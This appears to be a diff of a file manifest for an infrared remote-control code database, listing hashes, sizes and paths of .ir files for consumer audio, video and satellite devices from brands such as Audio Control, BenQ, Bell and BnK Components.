+F:1743839b542aa4b4a9772351f967362f:210:infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir D:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher D:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth D:infrared/_CSV-IRDB_/Audio Authority/Switcher -F:7786f4ca5abb575547af022c1be29794:483:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir -F:453eb46b72dadd6251907af079cbdb04:2259:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir -F:f119855a86d6f217cbfb8fc0f0289b13:3480:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir -F:8bad08ecdfc548878e9ed8ccfc12028e:2132:infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir +F:0bd35a3d2a2dc5ca1c17f9bae1821da7:451:infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir +F:ec2ce1b821bb242145185cfa15df61a9:2113:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir +F:96f82eb75ce462e6fa65db05939d1dfd:3256:infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir +F:5ee95b9040f14dd5caa04e36ce000d78:1992:infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir D:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier D:infrared/_CSV-IRDB_/Audio Control/Processor D:infrared/_CSV-IRDB_/Audio Control/Receiver -F:5564de6dc67ee63284d4942038779d95:7859:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir -F:0e602026a6c00c70be442001eec634b6:1488:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir -F:7eada5c149a232d4c55ac6f983de9a43:2332:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir -F:38521e2d55245b6e68cfd2fd39d1b1a1:5722:infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir -F:6635e9a4edc9397ea0516cb08f598f13:6104:infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir -F:07ce81138491797a576a7e7621d3e752:2269:infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir -F:3ecfc438425192d95e0f65103342fba2:2723:infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir +F:a55e04c39ccd88ea414c9a09b060455d:7389:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir +F:42813354d12a50e66381b4d4fb2919dd:1396:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir +F:8cab0059072b17f4cb4ecde378e62f6f:2192:infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir +F:725785a7a1f498877da756cfd4fa2655:5372:infrared/_CSV-IRDB_/Audio Control/Processor/16,-1.ir +F:a6eb1055516c9f7fff1012507ecb86e9:5742:infrared/_CSV-IRDB_/Audio Control/Receiver/16,-1.ir +F:8eb93d29c016c08730cda5985a87996d:2141:infrared/_CSV-IRDB_/Audio Control/Receiver/17,-1.ir +F:8e0b348fe584fde2492b8e03852e46a7:2565:infrared/_CSV-IRDB_/Audio Control/Receiver/23,-1.ir D:infrared/_CSV-IRDB_/Audio Refinement/Amplifier D:infrared/_CSV-IRDB_/Audio Refinement/CD Player D:infrared/_CSV-IRDB_/Audio Refinement/Tuner -F:3b80842308e2ac0a156aa19c50e14d54:1831:infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir -F:def2750611dcd3563d69eaeff6d314f7:871:infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir -F:ceb574605ec297f8cacdea2564a86030:603:infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir +F:ab51bcf0e2c9075c28713442e707d1c0:1715:infrared/_CSV-IRDB_/Audio Refinement/Amplifier/20,-1.ir +F:01be96e312b738d4e9994bc06c74f592:815:infrared/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir +F:251a776991253c26c815f02763106df8:565:infrared/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir D:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier -F:61f36f12f0714514af7814c19334390c:7826:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir +F:fd642b32e360b7234693798c52ccd2c4:7332:infrared/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir D:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three -F:365205b811b2740969f4b765dea4bbd0:1425:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir +F:f8d5d7e8b35cc8bd89b137532979b098:1333:infrared/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir D:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T -F:e1e47285d7dc5c84f4ad1d0944770675:3294:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir +F:5f988b066a28ad072bc9889afde7de4a:3076:infrared/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir D:infrared/_CSV-IRDB_/Audiovox/Monitor D:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR D:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius -F:4b22b3dccf10ab4ed8cafd72ddcf7261:673:infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir -F:17dfc541b8fdbc92366b5481d0d775bc:2294:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir -F:b8e791a8f3ebba07918ad510da6fde63:2002:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir +F:fc2ee0699006576a3baf8a5ff3b33360:629:infrared/_CSV-IRDB_/Audiovox/Monitor/128,126.ir +F:aacc086d5a01b00af5fca55518295224:2148:infrared/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir +F:075bd173f1fc1596b8223341424a3aa1:1874:infrared/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir D:infrared/_CSV-IRDB_/Austar/Cable Box -F:47338cc0b3d0198383e4e7e33158732f:2494:infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir +F:62a59c27565d63cb66ac0b51cc3997ed:2330:infrared/_CSV-IRDB_/Austar/Cable Box/32,224.ir D:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair -F:e9b374405d7ee3a761b4bb5440ff2008:4498:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir +F:cbc96fde383de0eb967137d73b27d102:4214:infrared/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir D:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5 D:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia D:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7 D:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV -F:73fbaeb583facd5cc862e6b0500333b1:2880:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir -F:d005609494d5740c4f70017bb6572865:2973:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir -F:dc2eb433703d738e0addc7b9f00ff8cc:3268:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir -F:41a1f7614dcc813a1435557a72d9a8d7:4220:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir +F:d7ad5f181dfbc6f049fe41abbacf8872:2698:infrared/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir +F:72f59b68ff6b7eeb2576f40a212dbbcc:2785:infrared/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir +F:b5d9099ab959a889794f940710be3b60:3062:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir +F:360df35b515e5f4321e4ee86f2888cd6:3954:infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir D:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609 D:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501 -F:cb2dae2140fbfae0bcc2b4a838ad36e9:1475:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir -F:2a6af82a847ca66647f9dac7ccf4a4fb:2671:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir +F:eba89f676e1835d676f6557fc041bc43:1383:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir +F:c238503b30810f58117c2260fe80df57:2501:infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir D:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch -F:019817ef46058334200991a6ef276d80:871:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir +F:684ebf9f126a74f5ca2a6c71ad9f3555:815:infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir D:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075 -F:da117da95b18ebc4910c4720307d72f3:3161:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir +F:f02f446fbfc99c0172de5653fcb719eb:2961:infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir D:infrared/_CSV-IRDB_/Axonix/DVD Player D:infrared/_CSV-IRDB_/Axonix/Media Server D:infrared/_CSV-IRDB_/Axonix/MediaMax -F:634797cfe1adc001754e725bec0fb306:6351:infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir -F:dd5a842b9a31e6cb6592700c9c2a81aa:3299:infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir -F:b166c1b7c85e4d9cae671132390bbb21:7154:infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir +F:895043ecdc75197f53e29d35fa4a08b9:5941:infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir +F:f12e6512a7ff8ee94843e2bc98748bb6:3087:infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir +F:821f859f33b2badc24f966fb4fdd95bc:6684:infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir D:infrared/_CSV-IRDB_/Ayre/Amplifier -F:c4aca0bb69761c811c816f321a087b3c:1887:infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir +F:a589f217a48486989ce3a8cfdd6aae3f:1765:infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir D:infrared/_CSV-IRDB_/AzBox/Unknown_S700 -F:9042eda9ff65cd125b021d21fe728652:4108:infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir +F:d13f01aa2254d75df39b4cca9379f467:3848:infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir D:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier -F:0c00b8a49e85fb865955875f4ed691cc:1262:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir +F:cfe3a228485a8e285273536fc4e8d854:1182:infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir D:infrared/_CSV-IRDB_/BBK/Unknown_PV400s D:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn D:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R -F:bbab1061814c7c5482fb180b793aef69:3126:infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir -F:a2864188906999014a7cea023b2cca6f:4809:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir -F:828ede4e0535c4b486231ebe9833c194:4746:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir +F:368503a33e44e9b9fc47bc2ecb2c6d6d:2926:infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir +F:4fef912389220c79258249d3a7e17e8a:4507:infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir +F:bd7d7edcad1505587f7668f4d3de7512:4444:infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir D:infrared/_CSV-IRDB_/BORK/Unknown_DV -F:cc5655150389391cb8c5602fc3aef84e:4758:infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir +F:ad53a8565a09a2a0cf13f9c66ddf6509:4456:infrared/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir D:infrared/_CSV-IRDB_/BTX/Drapery Controller -F:25c5fdac8bee3e689cc2445cd5fc6b8b:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir -F:00d07df9679bcadf8430987184805107:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir -F:4f1a2bc391c7d0ff2ebdac0940fa8044:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir -F:5bafe0454ac9149562763331c9490326:133:infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir -F:17f1754ecf350d8b334dded3dcc7eec0:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir -F:bce0092cb7b4c70bf0e0a94733f10b17:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir -F:30f90f1fd36575282406046d5832fc86:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir -F:74bac0dd46497a7e8b5a9228fae94406:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir -F:12668a2abe720f8c319725c453e186ff:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir -F:1735830f2485aa3664defda9fdd53e7f:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir -F:539edb4bd0658e6c68690c134a9b2bbb:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir -F:91390f5e3670f6e7971f9894fd198722:132:infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir +F:5811dc8f0d9f7fe6fd9cb0c9bd79d486:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir +F:7ed66713d1ff6c722c92a88b85695fdd:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir +F:ae2b34191976328d0daf1fc2ab902a21:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir +F:f4675af6a85b8da592022368131e9b2f:125:infrared/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir +F:59d0a9a318b418f713c7e9b0ccdecb41:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir +F:ef983621bbc6cb1a17327b8dd8f7391c:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir +F:f0822c0704736804f8224de6d7e8022f:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir +F:8021b7772bc8e664e6dbbefcebf0fe81:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir +F:ff5e425b0571c38296525b9de0a72a69:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir +F:8f44fb24341756aaee4abb759467ddd3:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir +F:40746cab21fb933bdad0f1baeeeca040:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir +F:1a594a66b392e6ff36a5d12aa9e34d77:124:infrared/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir D:infrared/_CSV-IRDB_/Bang Olufsen/CD Player -F:875e4d1161bd85499ab238f55a47fe83:595:infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir +F:cc67dee11504ea72f88f90c1070c11f7:557:infrared/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir D:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5 D:infrared/_CSV-IRDB_/Barco/Video Projector -F:c991c0ff4b94de54f8de7bef2a1a8b04:4752:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir -F:43390ee7ca379eaf79aba5877a712d93:4084:infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir -F:5609678aaf61fbfe59d33a55ad4f5153:3894:infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir +F:3ef349a96da0a78a643997bdafd0bbed:4450:infrared/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir +F:6edfffd486617200b7038632f0e4a528:3818:infrared/_CSV-IRDB_/Barco/Video Projector/0,-1.ir +F:1bb1861993148200664181c7af7c8709:3640:infrared/_CSV-IRDB_/Barco/Video Projector/18,-1.ir D:infrared/_CSV-IRDB_/Barix/CD Jukebox -F:5f940cf130070857239725ba49010975:2208:infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir +F:935ec4b33c40b305a9b02ee4953756bd:2062:infrared/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir D:infrared/_CSV-IRDB_/Beko/Unknown_Beko D:infrared/_CSV-IRDB_/Beko/Unknown_TV -F:9660adec3528fb12f6578085387ee80e:2559:infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir -F:f4480300b1790716a4cf12f5252fb080:3229:infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir +F:da5eec424f5d13e70527036f29950f51:2389:infrared/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir +F:fad79cb45a35447843297bf10d830542:3023:infrared/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir D:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019 -F:b58a82d6f0c5cef19e9d0bd8b7788948:1723:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir +F:df08a12f3993d7c2fb6f16a7e11a8a30:1613:infrared/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir D:infrared/_CSV-IRDB_/Bell/Satellite -F:bbc3b3f7328bce64a59346491526147c:3719:infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir -F:04fd8c188a9da968cc8fe0ded9e713a9:2126:infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir -F:47de211af950b33f0f62063f2db76f80:2578:infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir -F:966910e38455341620e9812910c6a63e:1056:infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir -F:63a79ab1b586a2c7a7af9fb743f28d04:780:infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir -F:276e27b9799b8fb112a741e1ecc09ec1:1061:infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir -F:74f4e223e6b010189ebaaae7e58bb3b4:229:infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir -F:2550de447952fc6dfff3a53ed234a6db:126:infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir -F:c0d13394becbd10b659806a48f65946d:504:infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir -F:4cb29c25836c2276d38e3af399578b1a:135:infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir +F:d6001ac68adf67194b85f95f18f75a1b:3477:infrared/_CSV-IRDB_/Bell/Satellite/0,0.ir +F:b21cb65b9947ecb778fd38bd86c28288:1986:infrared/_CSV-IRDB_/Bell/Satellite/0,1.ir +F:c10c69c863ad1e8bc31272958a2b7f4c:2408:infrared/_CSV-IRDB_/Bell/Satellite/0,2.ir +F:41ce5a54494454b5d75166272d68c803:988:infrared/_CSV-IRDB_/Bell/Satellite/1,0.ir +F:dcb46841cf5d250e91c199cfc439d338:730:infrared/_CSV-IRDB_/Bell/Satellite/1,1.ir +F:bffcb402fdab3882716428923ef6c8e6:993:infrared/_CSV-IRDB_/Bell/Satellite/1,2.ir +F:b87c7b7ef9457bb3d405538927fe0706:215:infrared/_CSV-IRDB_/Bell/Satellite/128,0.ir +F:abc63a96df3cf8a9da8e65cbc1eff8e2:118:infrared/_CSV-IRDB_/Bell/Satellite/16,1.ir +F:563ac364b8bc4c537bddedc5a6676d64:472:infrared/_CSV-IRDB_/Bell/Satellite/24,0.ir +F:4b7e91ea5925b8b1d0b85a49f1efd696:127:infrared/_CSV-IRDB_/Bell/Satellite/7,-1.ir D:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR D:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite -F:a281fdc9624251434ff46e6dfeb1b8dc:3329:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir -F:683b69db288338637f9ac7bd39532571:1425:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir -F:fe7132ecec49606078fc231a9033b70e:134:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir -F:3a8f100428e57b66bfba639dc4dd9f0b:126:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir -F:38c22b34694dff8fc69653c31be10ad6:2608:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir -F:cbf3a8dfb3fa97ab665407dc3b315f31:770:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir -F:b787d1864627f51914270ede4d148061:229:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir +F:71b4d6ca44217c87de3a86c720bf92d0:3111:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir +F:e7038baf89297d8cbba3b07a7ec6e84c:1333:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir +F:4651feb359604ce51f17802bb0ee4ddc:126:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir +F:9bf60c2c14346ba501992a12d4cdb886:118:infrared/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir +F:cd45c58ec5b04b4bb7bc4637815d8e3e:2438:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir +F:8547d53363addbb7134f29d2c3f9592f:720:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir +F:df64b88740cfb10e50df3a9327cdd344:215:infrared/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir D:infrared/_CSV-IRDB_/Bellagio/Unknown_P807 -F:6a035ff55855731c4b04c763b256f46a:4217:infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir +F:8ad66a09068278ca2d36e3d7dc0d9ec4:3951:infrared/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir D:infrared/_CSV-IRDB_/BenQ/DLP Projector D:infrared/_CSV-IRDB_/BenQ/Projector D:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080 D:infrared/_CSV-IRDB_/BenQ/Unknown_MP620 D:infrared/_CSV-IRDB_/BenQ/Unknown_W1070 -F:059f0a63630fc3cf02cd11781591eaa1:1435:infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir -F:2043d9bdd27d440fc74dcaa954f49baa:1986:infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir -F:3be7768604b2648c5876f3cd85590341:223:infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir -F:74db9b16f091432f5e686b852dfb42b5:3738:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir -F:bc1a28271403a60f3a47306840ed4a2f:1589:infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir -F:90172a82557ea54f7e73b5a334c8a338:3480:infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir +F:1febf129e70c5dd90439b7161b4cc343:1343:infrared/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir +F:9775d9f3d2ec7a4fa04f12fd3083e456:1858:infrared/_CSV-IRDB_/BenQ/Projector/48,-1.ir +F:ba9921a97d32eb6b14c924128b1ff6ea:209:infrared/_CSV-IRDB_/BenQ/Projector/72,80.ir +F:1df098bb17f65f4e5274de086ed09ad8:3502:infrared/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir +F:55c84e25e07ee0e5269521c363c3789c:1491:infrared/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir +F:6abc4b0be57b93992f286ef3df57d0f6:3256:infrared/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir D:infrared/_CSV-IRDB_/Bench/Unknown_kh2800 -F:94c345fd42439f4c8bbc74474f359739:2385:infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir +F:814ebdd2c9afe6d2653527d757ecc483:2233:infrared/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir D:infrared/_CSV-IRDB_/Big Ben/Game Console -F:3e315bd3edae3c850eac11a4a92c2682:1512:infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir +F:4356e481e7217356ea5f4aea9dbe02e2:1420:infrared/_CSV-IRDB_/Big Ben/Game Console/67,164.ir D:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900 -F:a8a40350f984937216e3cd004e857f14:3164:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir +F:0667507c06f16492b5f3e8d44ebcd6db:2964:infrared/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir D:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp D:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver D:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher @@ -1504,111 +1504,111 @@ D:infrared/_CSV-IRDB_/BnK_Components/Receiver D:infrared/_CSV-IRDB_/BnK_Components/Surround Processor D:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier D:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2 -F:047fa572035340acb7634f13997b5d67:126:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir -F:4e0e3d2403edd3fa2b6d2dbbd1e7ebb9:8162:infrared/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir -F:67a5081a2a00267bf55292075468f1de:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir -F:286a26de281ddf802c6b742aae812b10:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir -F:2201f558b073c8c19d6212328fb8442a:5070:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir -F:d50afb5a8d62a89aa489a101190af051:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir -F:374200825c99687079c773e6106bc514:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir -F:0ff799a410844f2b28264a57e90be62c:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir -F:ec34c41a8e3999ec487b8de1f39517e4:10118:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir -F:62d24cf7049b9839f5a4370b721ffe5c:6914:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir -F:f9f1cc2991dd2f6fde58f8800766c851:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir -F:034aea8a54510e1822067e7e9a25ec07:5957:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir -F:0f79e03ae638b2439e098b9f1824e994:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir -F:c173ace9d2f7c86812f38512e12001f8:4648:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir -F:a6661219c540751b513c5ea69789bc16:4983:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir -F:b8d662b464ce007d8db6851ff3de3915:5000:infrared/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir -F:ff838a28b86894f62531f8532b22f83a:3915:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir -F:6c4bd26fa5425faebe7e02bc6920fb42:3384:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir -F:b2b5f1c678790bc93365a1412c4f1908:4852:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir -F:1efb69c3703bddd2991c95ae0224bd94:3005:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir -F:4a628eddc6858a15473c1dc820b093ca:4078:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir -F:286a26de281ddf802c6b742aae812b10:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir -F:0e1d5fd56ef4fee5fd61a4e764fac793:3519:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir -F:806cc1fb9a9df95f614652dfd712fde6:4073:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir -F:b96e13f86376f0edea924dc1584a8652:2866:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir -F:d6d1e90ca528b0d489a252b85649bea9:5161:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir -F:0b7e41a5007b26f24a4fe19cbd69fb01:3474:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir -F:efb25c1da6831b85615fe5a8e288512f:4262:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir -F:519585fed1bf50468b81110a99efb714:3731:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir -F:64f15ee8a59bebb657b12d608db69f40:5287:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir -F:9b3c6f8d69def373324aa9b96b972e10:3213:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir -F:d50afb5a8d62a89aa489a101190af051:5000:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir -F:dca6a6004816713f4b75062a9bdfb317:4156:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir -F:4aa779076dc0b37611818d796fdb799d:614:infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir 